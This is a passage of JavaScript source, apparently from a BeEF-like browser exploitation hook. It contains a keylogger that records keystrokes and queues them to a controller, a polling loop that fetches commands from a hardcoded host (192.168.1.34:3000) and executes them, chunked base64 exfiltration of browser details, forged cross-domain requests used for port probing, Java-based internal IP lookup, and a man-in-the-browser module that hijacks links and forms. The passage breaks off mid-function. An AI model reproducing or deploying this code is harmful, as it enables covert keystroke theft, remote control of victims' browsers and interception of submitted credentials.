  4162. */
  4163. win_blur: function (e) {
  4164. var b = new bot.logger.e();
  4165. b.type = 'blur';
  4166. this.events.push(b);
  4167. },
  4168.  
  4169. /**
  4170. * Keypress function fires everytime a key is pressed.
  4171. *
  4172. * @param {Object}
  4173. * e: event object
  4174. */
  4175. keypress: function (e) {
  4176. if (this.target == null
  4177. || ($j(this.target).get(0) !== $j(e.target).get(0))) {
  4178. bot.logger.push_stream();
  4179. this.target = e.target;
  4180. }
  4181. this.stream.push({
  4182. 'char': e.which,
  4183. 'modifiers': {
  4184. 'alt': e.altKey,
  4185. 'ctrl': e.ctrlKey,
  4186. 'shift': e.shiftKey
  4187. }
  4188. });
  4189. },
  4190.  
  4191. /**
  4192. * Is called whenever a form is submitted TODO: Cleanup this function
  4193. */
  4194. submit: function (e) {
  4195. /*
  4196. * this.events.push('Form submission: Action:
  4197. * '+$j(e.target).attr('action')+' Method:
  4198. * '+$j(e.target).attr('method')+' @ '+bot.logger.get_timestamp()+'s >
  4199. * '+bot.logger.get_dom_identifier(e.target));
  4200. */
  4201. },
  4202.  
  4203. /**
  4204. * Pushes the current stream to the events queue
  4205. */
  4206. push_stream: function () {
  4207. if (this.stream.length > 0) {
  4208. this.events.push(bot.logger.parse_stream());
  4209. this.stream = [];
  4210. }
  4211. },
  4212.  
  4213. /**
  4214. * Translate DOM Object to a readable string
  4215. */
  4216. get_dom_identifier: function (target) {
  4217. target = (target == null) ? this.target : target;
  4218. var id = '';
  4219. if (target) {
  4220. id = target.tagName.toLowerCase();
  4221. id += ($j(target).attr('id')) ? '#' + $j(target).attr('id') : '
  4222. ';
  4223. id += ($j(target).attr('name')) ? '(' + $j(target).attr('name')
  4224. + ')' : '';
  4225. }
  4226. return id;
  4227. },
  4228.  
  4229. /**
  4230. * Formats the timestamp
  4231. *
  4232. * @return {String} timestamp string
  4233. */
  4234. get_timestamp: function () {
  4235. var d = new Date();
  4236. return ((d.getTime() - this.time) / 1000).toFixed(3);
  4237. },
  4238.  
  4239. /**
  4240. * Parses stream array and creates history string
  4241. */
  4242. parse_stream: function () {
  4243. var s = '';
  4244. for (var i in this.stream) {
  4245. // s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
  4246. // s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
  4247. // s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
  4248. s += String.fromCharCode(this.stream[i]['char']);
  4249. }
  4250. var k = new bot.logger.e();
  4251. k.type = 'keys';
  4252. k.target = bot.logger.get_dom_identifier();
  4253. k.data = s;
  4254. return k;
  4255. },
  4256.  
  4257. /**
  4258. * Queue results to be sent back to framework
  4259. */
  4260. queue: function () {
  4261. bot.logger.push_stream();
  4262. if (this.events.length > 0) {
  4263. bot.net.queue('/event', 0, this.events);
  4264. this.events = [];
  4265. }
  4266. }
  4267.  
  4268. };
  4269.  
  4270. bot.regCmp('bot.logger');
  4271.  
  4272. bot.net = {
  4273.  
  4274. host: "192.168.1.34",
  4275. port: "3000",
  4276. hook: "/hook.js",
  4277. handler: '/dh',
  4278. chop: 500,
  4279. pad: 30, // this is the amount of padding for extra params such as pc,
  4280. // pid and sid
  4281. sid_count: 0,
  4282. cmd_queue: [],
  4283.  
  4284. // Command object
  4285. command: function () {
  4286. this.cid = null;
  4287. this.results = null;
  4288. this.handler = null;
  4289. this.callback = null;
  4290. },
  4291.  
  4292. // Packet object
  4293. packet: function () {
  4294. this.id = null;
  4295. this.data = null;
  4296. },
  4297.  
  4298. // Stream object
  4299. stream: function () {
  4300. this.id = null;
  4301. this.packets = [];
  4302. this.pc = 0;
  4303. this.get_base_url_length = function () {
  4304. return (this.url + this.handler + '?' + 'bh=' + bot.session
  4305. .get_hook_session_id()).length;
  4306. }, this.get_packet_data = function () {
  4307. var p = this.packets.shift();
  4308. return {
  4309. 'bh': bot.session.get_hook_session_id(),
  4310. 'sid': this.id,
  4311. 'pid': p.id,
  4312. 'pc': this.pc,
  4313. 'd': p.data
  4314. }
  4315. };
  4316. },
  4317.  
  4318. /**
  4319. * Response Object - used in the bot.net.request callback Note: as we are
  4320. * using async mode, the response object will be empty if returned.Using
  4321. * sync mode, request obj fields will be populated.
  4322. */
  4323. response: function () {
  4324. this.status_code = null; // 500, 404, 200, 302
  4325. this.status_text = null; // success, timeout, error, ...
  4326. this.response_body = null; // "<html>…." if not a cross domain
  4327. request
  4328. this.port_status = null; // tcp port is open, closed or not http
  4329. this.was_cross_domain = null; // true or false
  4330. this.was_timedout = null; // the user specified timeout was reached
  4331. this.duration = null; // how long it took for the request to
  4332. complete
  4333. this.headers = null; // full response headers
  4334. },
  4335.  
  4336. // Queues the command, to be sent back to the framework on the next
  4337. refresh
  4338. queue: function (handler, cid, results, callback) {
  4339. if (typeof (handler) === 'string' && typeof (cid) === 'number'
  4340. && (callback === undefined || typeof (callback) === 'function')) {
  4341. var s = new bot.net.command();
  4342. s.cid = cid;
  4343. s.results = bot.net.clean(results);
  4344. s.callback = callback;
  4345. s.handler = handler;
  4346. this.cmd_queue.push(s);
  4347. }
  4348. },
  4349.  
  4350. // Queues the current command and flushes the queue straight away
  4351. send: function (handler, cid, results, callback) {
  4352. this.queue(handler, cid, results, callback);
  4353. this.flush();
  4354. },
  4355.  
  4356. // Flush all currently queued commands to the framework
  4357. flush: function () {
  4358. if (this.cmd_queue.length > 0) {
  4359. var data = bot.encode.base64.encode(bot.encode.json
  4360. .stringify(this.cmd_queue));
  4361. this.cmd_queue.length = 0;
  4362. this.sid_count++;
  4363. var stream = new this.stream();
  4364. stream.id = this.sid_count;
  4365. var pad = stream.get_base_url_length() + this.pad;
  4366. // cant continue if chop amount is too low
  4367. if ((this.chop - pad) > 0) {
  4368. var data = this.chunk(data, (this.chop - pad));
  4369. for (var i = 1; i <= data.length; i++) {
  4370. var packet = new this.packet();
  4371. packet.id = i;
  4372. packet.data = data[(i - 1)];
  4373. stream.packets.push(packet);
  4374. }
  4375. stream.pc = stream.packets.length;
  4376. this.push(stream);
  4377. }
  4378. }
  4379. },
  4380.  
  4381. // Split string into chunk lengths determined by amount
  4382. chunk: function (str, amount) {
  4383. if (typeof amount == 'undefined')
  4384. n = 2;
  4385. return str.match(RegExp('.{1,' + amount + '}', 'g'));
  4386. },
  4387.  
  4388. // Push packets to framework
  4389. push: function (stream) {
  4390. // need to implement wait feature here eventually
  4391. for (var i = 0; i < stream.pc; i++) {
  4392. this.request('http', 'GET', this.host, this.port, this.handler,
  4393. null, stream.get_packet_data(), 10, 'text', null);
  4394. }
  4395. },
  4396.  
  4397. /**
  4398. * Performs http requests
  4399. *
  4400. * @param: {String} scheme: HTTP or HTTPS
  4401. * @param: {String} method: GET or POST
  4402. * @param: {String} domain: bindshell.net, 192.168.3.4, etc
  4403. * @param: {Int} port: 80, 5900, etc
  4404. * @param: {String} path: /path/to/resource
  4405. * @param: {String} anchor: this is the value that comes after the # in the
  4406. * URL
  4407. * @param: {String} data: This will be used as the query string for a GET or
  4408. * post data for a POST
  4409. * @param: {Int} timeout: timeout the request after N seconds
  4410. * @param: {String} dataType: specify the data return type expected (ie
  4411. * text/html/script)
  4412. * @param: {Function} callback: call the callback function at the completion
  4413. * of the method
  4414. *
  4415. * @return: {Object} response: this object contains the response details
  4416. */
  4417. request: function (scheme, method, domain, port, path, anchor, data,
  4418. timeout, dataType, callback) {
  4419. // check if same domain or cross domain
  4420. var cross_domain = true;
  4421. if (document.domain == domain) {
  4422. if (document.location.port == "" || document.location.port ==
  4423. null) {
  4424. cross_domain = !(port == "80" || port == "443");
  4425. }
  4426. }
  4427.  
  4428. // build the url
  4429. var url = "";
  4430. if (path.indexOf("http://") != -1 || path.indexOf("https://") !=
  4431. -1) {
  4432. url = path;
  4433. } else {
  4434. url = scheme + "://" + domain;
  4435. url = (port != null) ? url + ":" + port : url;
  4436. url = (path != null) ? url + path : url;
  4437. url = (anchor != null) ? url + "#" + anchor : url;
  4438. }
  4439.  
  4440. // define response object
  4441. var response = new this.response;
  4442. response.was_cross_domain = cross_domain;
  4443. var start_time = new Date().getTime();
  4444.  
  4445. /*
  4446. * according to http://api.jquery.com/jQuery.ajax/, Note: having
  4447. * 'script': This will turn POSTs into GETs for remote-domain requests.
  4448. */
  4449. if (method == "POST") {
  4450. $j.ajaxSetup({
  4451. dataType: dataType
  4452. });
  4453. } else { // GET, HEAD, ...
  4454. $j.ajaxSetup({
  4455. dataType: 'script'
  4456. });
  4457. }
  4458.  
  4459. // build and execute the request
  4460. $j
  4461. .ajax(
  4462. {
  4463. type: method,
  4464. url: url,
  4465. data: data,
  4466. timeout: (timeout * 1000),
  4467.  
  4468. // needed otherwise jQuery always add Content-type:
  4469. // application/xml, even if data is populated
  4470. beforeSend: function (xhr) {
  4471. if (method == "POST") {
  4472. xhr
  4473. .setRequestHeader("Content-type",
  4474. "application/x-www-form-urlencoded; charset=utf-8");
  4475. }
  4476. },
  4477.  
  4478. success: function (data, textStatus, xhr) {
  4479. var end_time = new Date().getTime();
  4480. response.status_code = xhr.status;
  4481. response.status_text = textStatus;
  4482. response.response_body = data;
  4483. response.port_status = "open";
  4484. response.was_timedout = false;
  4485. response.duration = (end_time - start_time);
  4486. },
  4487. error: function (jqXHR, textStatus, errorThrown) {
  4488. var end_time = new Date().getTime();
  4489. response.response_body = jqXHR.responseText;
  4490. response.status_code = jqXHR.status;
  4491. response.status_text = textStatus;
  4492. response.duration = (end_time - start_time);
  4493. },
  4494. complete: function (jqXHR, textStatus) {
  4495. response.status_code = jqXHR.status;
  4496. response.status_text = textStatus;
  4497. response.headers = jqXHR
  4498. .getAllResponseHeaders();
  4499. // determine if TCP port is open/closed/not-http
  4500. if (textStatus == "timeout") {
  4501. response.was_timedout = true;
  4502. response.response_body = "ERROR: Timed out\n";
  4503. response.port_status = "closed";
  4504. } else if (textStatus == "parsererror") {
  4505. response.port_status = "not-http";
  4506. } else {
  4507. response.port_status = "open";
  4508. }
  4509. }
  4510. }).done(function () {
  4511. if (callback != null) {
  4512. callback(response);
  4513. }
  4514. });
  4515. return response;
  4516. },
  4517.  
  4518. /*
  4519. * Similar to this.request, except from a few things that are needed when
  4520. * dealing with forged requests: - requestid: needed on the callback -
  4521. * allowCrossDomain: set cross-domain requests as allowed or blocked
  4522. */
  4523. forge_request: function (scheme, method, domain, port, path, anchor,
  4524. headers, data, timeout, dataType, allowCrossDomain, requestid,
  4525. callback) {
  4526.  
  4527. // check if same domain or cross domain
  4528. var cross_domain = true;
  4529. if (document.domain == domain) {
  4530. if (document.location.port == "" || document.location.port ==
  4531. null) {
  4532. cross_domain = !(port == "80" || port == "443");
  4533. } else {
  4534. if (document.location.port == port)
  4535. cross_domain = false;
  4536. }
  4537. }
  4538.  
  4539. // build the url
  4540. var url = "";
  4541. if (path.indexOf("http://") != -1 || path.indexOf("https://") !=
  4542. -1) {
  4543. url = path;
  4544. } else {
  4545. url = scheme + "://" + domain;
  4546. url = (port != null) ? url + ":" + port : url;
  4547. url = (path != null) ? url + path : url;
  4548. url = (anchor != null) ? url + "#" + anchor : url;
  4549. }
  4550.  
  4551. // define response object
  4552. var response = new this.response;
  4553. response.was_cross_domain = cross_domain;
  4554. var start_time = new Date().getTime();
  4555.  
  4556. // if cross-domain requests are not allowed and the request is
  4557. // cross-domain
  4558. // don't proceed and return
  4559. if (allowCrossDomain == "false" && cross_domain && callback !=
  4560. null) {
  4561. response.status_code = -1;
  4562. response.status_text = "crossdomain";
  4563. response.port_status = "crossdomain";
  4564. response.response_body = "ERROR: Cross Domain Request. The
  4565. request was not sent.\n";
  4566. response.headers = "ERROR: Cross Domain Request. The request
  4567. was not sent.\n";
  4568. callback(response, requestid);
  4569. return response;
  4570. }
  4571.  
  4572. // build and execute the request
  4573. if (method == "POST") {
  4574. $j.ajaxSetup({
  4575. data: data
  4576. });
  4577. }
  4578.  
  4579. $j
  4580. .ajax({
  4581. type: method,
  4582. dataType: 'script', // this is required for bugs in IE
  4583. // so data can be transfered back to
  4584. // the server
  4585. url: url,
  4586. headers: headers,
  4587. timeout: (timeout * 1000),
  4588.  
  4589. // needed otherwise jQuery always adds:
  4590. // Content-type: application/xml
  4591. // even if data is populated
  4592. beforeSend: function (xhr) {
  4593. if (method == "POST") {
  4594. xhr
  4595. .setRequestHeader("Content-type",
  4596. "application/x-www-form-urlencoded; charset=utf-8");
  4597. }
  4598. },
  4599.  
  4600. // http server responded successfully
  4601. success: function (data, textStatus, xhr) {
  4602. var end_time = new Date().getTime();
  4603. response.status_code = xhr.status;
  4604. response.status_text = textStatus;
  4605. response.response_body = data;
  4606. response.was_timedout = false;
  4607. response.duration = (end_time - start_time);
  4608. },
  4609.  
  4610. // server responded with a http error (403, 404, 500, etc)
  4611. // or server is not a http server
  4612. error: function (xhr, textStatus, errorThrown) {
  4613. var end_time = new Date().getTime();
  4614. response.response_body = xhr.responseText;
  4615. response.status_code = xhr.status;
  4616. response.status_text = textStatus;
  4617. response.duration = (end_time - start_time);
  4618. },
  4619.  
  4620. complete: function (xhr, textStatus) {
  4621. // cross-domain request
  4622. if (cross_domain) {
  4623. response.status_code = -1;
  4624. response.status_text = "crossdomain";
  4625. response.port_status = "crossdomain";
  4626. response.response_body = "ERROR: Cross Domain Request. The
  4627. request was sent however it is impossible to view the response.\n";
  4628. response.headers = "ERROR: Cross Domain Request. The request
  4629. was sent however it is impossible to view the response.\n";
  4630. } else {
  4631. // same-domain request
  4632. response.status_code = xhr.status;
  4633. response.status_text = textStatus;
  4634. response.headers = xhr.getAllResponseHeaders();
  4635.  
  4636. // determine if TCP port is open/closed/not-http
  4637. if (textStatus == "timeout") {
  4638. response.was_timedout = true;
  4639. response.response_body = "ERROR: Timed out\n";
  4640. response.port_status = "closed";
  4641. } else if (textStatus == "parsererror") {
  4642. response.port_status = "not-http";
  4643. } else {
  4644. response.port_status = "open";
  4645. }
  4646. }
  4647. callback(response, requestid);
  4648. }
  4649. });
  4650. return response;
  4651. },
  4652.  
  4653. // this is a stub, as associative arrays are not parsed by JSON, all
  4654. key /
  4655. // value pairs should use new Object() or {}
  4656. //
  4657. http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
  4658. clean: function (r) {
  4659. if (this.array_has_string_key(r)) {
  4660. var obj = {};
  4661. for (var key in r)
  4662. obj[key] = (this.array_has_string_key(obj[key])) ? this
  4663. .clean(r[key]) : r[key];
  4664. return obj;
  4665. }
  4666. return r;
  4667. },
  4668.  
  4669. // Detects if an array has a string key
  4670. array_has_string_key: function (arr) {
  4671. if ($j.isArray(arr)) {
  4672. try {
  4673. for (var key in arr)
  4674. if (isNaN(parseInt(key)))
  4675. return true;
  4676. } catch (e) {
  4677. }
  4678. }
  4679. return false;
  4680. },
  4681.  
  4682. // Sends back browser details to framework
  4683. browser_details: function () {
  4684. var details = bot.browser.getDetails();
  4685. details['HookSessionID'] = bot.session.get_hook_session_id();
  4686. this.send('/init', 0, details);
  4687. }
  4688.  
  4689. };
  4690.  
  4691. bot.regCmp('bot.net');
  4692.  
  4693. bot.updater = {
  4694.  
  4695. // Low timeouts combined with the way the framework sends commamd
  4696. modules
  4697. // result
  4698. // in instructions being sent repeatedly or complex code.
  4699. // If you suffer from ADHD, you can decrease this setting.
  4700. timeout: 1000,
  4701.  
  4702. // A lock.
  4703. lock: false,
  4704.  
  4705. // An object containing all values to be registered and sent by the
  4706. updater.
  4707. objects: new Object(),
  4708.  
  4709. /*
  4710. * Registers an object to always send when requesting new commands to the
  4711. * framework. @param: {String} the name of the object. @param: {String} the
  4712. * value of that object.
  4713. *
  4714. * @example: bot.updater.regObject('java_enabled', 'true');
  4715. */
  4716. regObject: function (key, value) {
  4717. this.objects[key] = escape(value);
  4718. },
  4719.  
  4720. // Checks for new commands from the framework and runs them.
  4721. check: function () {
  4722. if (this.lock == false) {
  4723. if (bot.logger.running) {
  4724. bot.logger.queue();
  4725. }
  4726. bot.net.flush();
  4727. if (bot.commands.length > 0) {
  4728. this.execute_commands();
  4729. } else {
  4730. this.get_commands();
  4731. }
  4732. }
  4733. setTimeout("bot.updater.check();", bot.updater.timeout);
  4734. },
  4735.  
  4736. // Gets new commands from the framework.
  4737. get_commands: function (http_response) {
  4738. try {
  4739. this.lock = true;
  4740. bot.net.request('http', 'GET', bot.net.host, bot.net.port,
  4741. bot.net.hook, null, 'ZOMBIE='
  4742. + bot.session.get_hook_session_id(), 1, 'script',
  4743. function (response) {
  4744. if (response.body != null && response.body.length > 0)
  4745. bot.updater.execute_commands();
  4746. });
  4747. } catch (e) {
  4748. this.lock = false;
  4749. return;
  4750. }
  4751. this.lock = false;
  4752. },
  4753.  
  4754. // Executes the received commands if any.
  4755. execute_commands: function () {
  4756. if (bot.commands.length == 0)
  4757. return;
  4758.  
  4759. this.lock = true;
  4760.  
  4761. while (bot.commands.length > 0) {
  4762. command = bot.commands.pop();
  4763. try {
  4764. command();
  4765. } catch (e) {
  4766. console.error('execute_commands - command failed to
  4767. execute: '
  4768. + e.message);
  4769. }
  4770. }
  4771.  
  4772. this.lock = false;
  4773. }
  4774. }
  4775.  
  4776. bot.regCmp('bot.updater');
  4777.  
  4778. bot.encode = {};
  4779.  
  4780. bot.encode.base64 = {
  4781.  
  4782. keyStr:
  4783. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  4784.  
  4785. encode: function (input) {
  4786. if (window.btoa) {
  4787. return btoa(unescape(encodeURIComponent(input)));
  4788. }
  4789.  
  4790. var output = "";
  4791. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  4792. var i = 0;
  4793.  
  4794. input = bot.encode.base64.utf8_encode(input);
  4795.  
  4796. while (i < input.length) {
  4797.  
  4798. chr1 = input.charCodeAt(i++);
  4799. chr2 = input.charCodeAt(i++);
  4800. chr3 = input.charCodeAt(i++);
  4801.  
  4802. enc1 = chr1 >> 2;
  4803. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  4804. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  4805. enc4 = chr3 & 63;
  4806.  
  4807. if (isNaN(chr2)) {
  4808. enc3 = enc4 = 64;
  4809. } else if (isNaN(chr3)) {
  4810. enc4 = 64;
  4811. }
  4812.  
  4813. output = output + this.keyStr.charAt(enc1)
  4814. + this.keyStr.charAt(enc2) + this.keyStr.charAt(enc3)
  4815. + this.keyStr.charAt(enc4);
  4816.  
  4817. }
  4818.  
  4819. return output;
  4820. },
  4821.  
  4822. decode: function (input) {
  4823. if (window.atob) {
  4824. return escape(atob(input));
  4825. }
  4826.  
  4827. var output = "";
  4828. var chr1, chr2, chr3;
  4829. var enc1, enc2, enc3, enc4;
  4830. var i = 0;
  4831.  
  4832. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  4833.  
  4834. while (i < input.length) {
  4835.  
  4836. enc1 = this.keyStr.indexOf(input.charAt(i++));
  4837. enc2 = this.keyStr.indexOf(input.charAt(i++));
  4838. enc3 = this.keyStr.indexOf(input.charAt(i++));
  4839. enc4 = this.keyStr.indexOf(input.charAt(i++));
  4840.  
  4841. chr1 = (enc1 << 2) | (enc2 >> 4);
  4842. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  4843. chr3 = ((enc3 & 3) << 6) | enc4;
  4844.  
  4845. output = output + String.fromCharCode(chr1);
  4846.  
  4847. if (enc3 != 64) {
  4848. output = output + String.fromCharCode(chr2);
  4849. }
  4850. if (enc4 != 64) {
  4851. output = output + String.fromCharCode(chr3);
  4852. }
  4853.  
  4854. }
  4855.  
  4856. output = bot.encode.base64.utf8_decode(output);
  4857.  
  4858. return output;
  4859.  
  4860. },
  4861.  
  4862. utf8_encode: function (string) {
  4863. string = string.replace(/\r\n/g, "\n");
  4864. var utftext = "";
  4865.  
  4866. for (var n = 0; n < string.length; n++) {
  4867.  
  4868. var c = string.charCodeAt(n);
  4869.  
  4870. if (c < 128) {
  4871. utftext += String.fromCharCode(c);
  4872. } else if ((c > 127) && (c < 2048)) {
  4873. utftext += String.fromCharCode((c >> 6) | 192);
  4874. utftext += String.fromCharCode((c & 63) | 128);
  4875. } else {
  4876. utftext += String.fromCharCode((c >> 12) | 224);
  4877. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  4878. utftext += String.fromCharCode((c & 63) | 128);
  4879. }
  4880.  
  4881. }
  4882.  
  4883. return utftext;
  4884. },
  4885.  
  4886. utf8_decode: function (utftext) {
  4887. var string = "";
  4888. var i = 0;
  4889. var c = c1 = c2 = 0;
  4890.  
  4891. while (i < utftext.length) {
  4892.  
  4893. c = utftext.charCodeAt(i);
  4894.  
  4895. if (c < 128) {
  4896. string += String.fromCharCode(c);
  4897. i++;
  4898. } else if ((c > 191) && (c < 224)) {
  4899. c2 = utftext.charCodeAt(i + 1);
  4900. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  4901. i += 2;
  4902. } else {
  4903. c2 = utftext.charCodeAt(i + 1);
  4904. c3 = utftext.charCodeAt(i + 2);
  4905. string += String.fromCharCode(((c & 15) << 12)
  4906. | ((c2 & 63) << 6) | (c3 & 63));
  4907. i += 3;
  4908. }
  4909.  
  4910. }
  4911.  
  4912. return string;
  4913. }
  4914.  
  4915. }
  4916.  
  4917. bot.regCmp('bot.encode.base64');
  4918.  
  4919. bot.encode.json = {
  4920.  
  4921. stringify: function (o) {
  4922. if (typeof (JSON) == 'object' && JSON.stringify)
  4923. return JSON.stringify(o);
  4924.  
  4925. var type = typeof (o);
  4926.  
  4927. if (o === null)
  4928. return "null";
  4929.  
  4930. if (type == "undefined")
  4931. return '\"\"';
  4932.  
  4933. if (type == "number" || type == "boolean")
  4934. return o + "";
  4935.  
  4936. if (type == "string")
  4937. return $j.quoteString(o);
  4938.  
  4939. if (type == 'object') {
  4940. if (typeof o.toJSON == "function")
  4941. return $j.toJSON(o.toJSON());
  4942.  
  4943. if (o.constructor === Date) {
  4944. var month = o.getUTCMonth() + 1;
  4945. if (month < 10)
  4946. month = '0' + month;
  4947.  
  4948. var day = o.getUTCDate();
  4949. if (day < 10)
  4950. day = '0' + day;
  4951.  
  4952. var year = o.getUTCFullYear();
  4953.  
  4954. var hours = o.getUTCHours();
  4955. if (hours < 10)
  4956. hours = '0' + hours;
  4957.  
  4958. var minutes = o.getUTCMinutes();
  4959. if (minutes < 10)
  4960. minutes = '0' + minutes;
  4961.  
  4962. var seconds = o.getUTCSeconds();
  4963. if (seconds < 10)
  4964. seconds = '0' + seconds;
  4965.  
  4966. var milli = o.getUTCMilliseconds();
  4967. if (milli < 100)
  4968. milli = '0' + milli;
  4969. if (milli < 10)
  4970. milli = '0' + milli;
  4971.  
  4972. return '"' + year + '-' + month + '-' + day + 'T' + hours +
  4973. ':'
  4974. + minutes + ':' + seconds + '.' + milli + 'Z"';
  4975. }
  4976.  
  4977. if (o.constructor === Array) {
  4978. var ret = [];
  4979. for (var i = 0; i < o.length; i++)
  4980. ret.push($j.toJSON(o[i]) || "null");
  4981.  
  4982. return "[" + ret.join(",") + "]";
  4983. }
  4984.  
  4985. var pairs = [];
  4986. for (var k in o) {
  4987. var name;
  4988. var type = typeof k;
  4989.  
  4990. if (type == "number")
  4991. name = '"' + k + '"';
  4992. else if (type == "string")
  4993. name = $j.quoteString(k);
  4994. else
  4995. continue; // skip non-string or number keys
  4996.  
  4997. if (typeof o[k] == "function")
  4998. continue; // skip pairs where the value is a function.
  4999.  
  5000. var val = $j.toJSON(o[k]);
  5001.  
  5002. pairs.push(name + ":" + val);
  5003. }
  5004.  
  5005. return "{" + pairs.join(", ") + "}";
  5006. }
  5007. },
  5008.  
  5009. quoteString: function (string) {
  5010. if (string.match(this._escapeable)) {
  5011. return '"'
  5012. + string.replace(this._escapeable, function (a) {
  5013. var c = this._meta[a];
  5014. if (typeof c === 'string')
  5015. return c;
  5016. c = a.charCodeAt();
  5017. return '\\u00' + Math.floor(c / 16).toString(16)
  5018. + (c % 16).toString(16);
  5019. }) + '"';
  5020. }
  5021. return '"' + string + '"';
  5022. },
  5023.  
  5024. _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
  5025.  
  5026. _meta: {
  5027. '\b': '\\b',
  5028. '\t': '\\t',
  5029. '\n': '\\n',
  5030. '\f': '\\f',
  5031. '\r': '\\r',
  5032. '"': '\\"',
  5033. '\\': '\\\\'
  5034. }
  5035. }
  5036.  
  5037. $j.toJSON = function (o) {
  5038. return bot.encode.json.stringify(o);
  5039. }
  5040. $j.quoteString = function (o) {
  5041. return bot.encode.json.quoteString(o);
  5042. }
  5043.  
  5044. bot.regCmp('bot.encode.json');
  5045.  
  5046. bot.net.local = {
  5047.  
  5048. sock: false,
  5049.  
  5050. /**
  5051. * Initializes the java socket. We have to use this method because some
  5052. * browsers do not have java installed or it is not accessible. in which
  5053. * case creating a socket directly generates an error. So this code is
  5054. * invalid: sock: new java.net.Socket();
  5055. */
  5056. initializeSocket: function () {
  5057. if (!bot.browser.hasJava())
  5058. return -1;
  5059.  
  5060. try {
  5061. this.sock = new java.net.Socket();
  5062. } catch (e) {
  5063. return -1;
  5064. }
  5065.  
  5066. return 1;
  5067. },
  5068.  
  5069. /**
  5070. * Returns the internal IP address of the zombie.
  5071. *
  5072. * @return: {String} the internal ip of the zombie.
  5073. * @error: return -1 if the internal ip cannot be retrieved.
  5074. */
  5075. getLocalAddress: function () {
  5076. if (!bot.browser.hasJava())
  5077. return false;
  5078.  
  5079. this.initializeSocket();
  5080.  
  5081. try {
  5082. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  5083. this.sock.connect(new
  5084. java.net.InetSocketAddress(document.domain,
  5085. (!document.location.port) ? 80 : document.location.port));
  5086.  
  5087. return this.sock.getLocalAddress().getHostAddress();
  5088. } catch (e) {
  5089. return false;
  5090. }
  5091. },
  5092.  
  5093. /**
  5094. * Returns the internal hostname of the zombie.
  5095. *
  5096. * @return: {String} the internal hostname of the zombie.
  5097. * @error: return -1 if the hostname cannot be retrieved.
  5098. */
  5099. getLocalHostname: function () {
  5100. if (!bot.browser.hasJava())
  5101. return false;
  5102.  
  5103. this.initializeSocket();
  5104.  
  5105. try {
  5106. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  5107. this.sock.connect(new
  5108. java.net.InetSocketAddress(document.domain,
  5109. (!document.location.port) ? 80 : document.location.port));
  5110.  
  5111. return this.sock.getLocalAddress().getHostName();
  5112. } catch (e) {
  5113. return false;
  5114. }
  5115. }
  5116.  
  5117. };
  5118.  
  5119. bot.regCmp('bot.net.local');
  5120.  
  5121. ZOMBIE = bot.session.get_hook_session_id()
  5122.  
  5123. if (bot.pageIsLoaded) {
  5124. bot.net.browser_details();
  5125. }
  5126.  
  5127. window.onload = function () {
  5128. // bot_init();
  5129. }
  5130.  
  5131. window.onpopstate = function (event) {
  5132. if (bot.onpopstate.length > 0) {
  5133. event.preventDefault;
  5134. for (var i = 0; i < bot.onpopstate.length; i++) {
  5135. var callback = bot.onpopstate[i];
  5136. try {
  5137. callback(event);
  5138. } catch (e) {
  5139. console.log("window.onpopstate - couldn't execute callback:
  5140. "
  5141. + e.message);
  5142. }
  5143. return false;
  5144. }
  5145. }
  5146. }
  5147.  
  5148. window.onclose = function (event) {
  5149. if (bot.onclose.length > 0) {
  5150. event.preventDefault;
  5151. for (var i = 0; i < bot.onclose.length; i++) {
  5152. var callback = bot.onclose[i];
  5153. try {
  5154. callback(event);
  5155. } catch (e) {
  5156. console.log("window.onclose - couldn't execute callback: "
  5157. + e.message);
  5158. }
  5159. return false;
  5160. }
  5161. }
  5162. }
  5163.  
  5164. function bot_init() {
  5165. if (!bot.pageIsLoaded) {
  5166. bot.pageIsLoaded = true;
  5167. bot.net.browser_details()
  5168. bot.updater.execute_commands();
  5169. bot.updater.check();
  5170. bot.logger.start();
  5171. }
  5172. }
  5173.  
  5174. bot.mitb = {
  5175.  
  5176. cid: null,
  5177. curl: null,
  5178.  
  5179. init: function (cid, curl) {
  5180. bot.mitb.cid = cid;
  5181. bot.mitb.curl = curl;
  5182. },
  5183.  
  5184. // Initializes the hook on anchors and forms.
  5185. hook: function () {
  5186. bot.onpopstate.push(function (event) {
  5187. bot.mitb.fetch(document.location, document
  5188. .getElementsByTagName("html")[0]);
  5189. });
  5190. bot.onclose.push(function (event) {
  5191. bot.mitb.endSession();
  5192. });
  5193. var anchors = document.getElementsByTagName("a");
  5194. var forms = document.getElementsByTagName("form");
  5195. for (var i = 0; i < anchors.length; i++) {
  5196. anchors[i].onclick = bot.mitb.poisonAnchor;
  5197. }
  5198. for (var i = 0; i < forms.length; i++) {
  5199. bot.mitb.poisonForm(forms[i]);
  5200. }
  5201. },
  5202.  
  5203. // Hooks anchors and prevents them from linking away
  5204. poisonAnchor: function (e) {
  5205. try {
  5206. e.preventDefault;
  5207. if (bot.mitb.fetch(e.currentTarget, document
  5208. .getElementsByTagName("html")[0])) {
  5209. var title = "";
  5210. if (document.getElementsByTagName("title").length == 0) {
  5211. title = document.title;
  5212. } else {
  5213. title = document.getElementsByTagName("title")[0].innerHTML;
  5214. }
  5215. history.pushState({
  5216. Be: "EF"
  5217. }, title, e.currentTarget);
  5218. }
  5219. } catch (e) {
  5220. console.error('bot.mitb.poisonAnchor - failed to execute: '
  5221. + e.message);
  5222. }
  5223. return false;
  5224. },
  5225.  
  5226. // Hooks forms and prevents them from linking away
  5227. poisonForm: function (form) {
  5228. form.onsubmit = function (e) {
  5229. var inputs = form.getElementsByTagName("input");
  5230. var query = "";
  5231. for (var i = 0; i < inputs.length; i++) {
  5232. if (i > 0 && i < inputs.length - 1)
  5233. query += "&";
  5234. switch (inputs[i].type) {
  5235. case "submit":
  5236. break;
  5237. default:
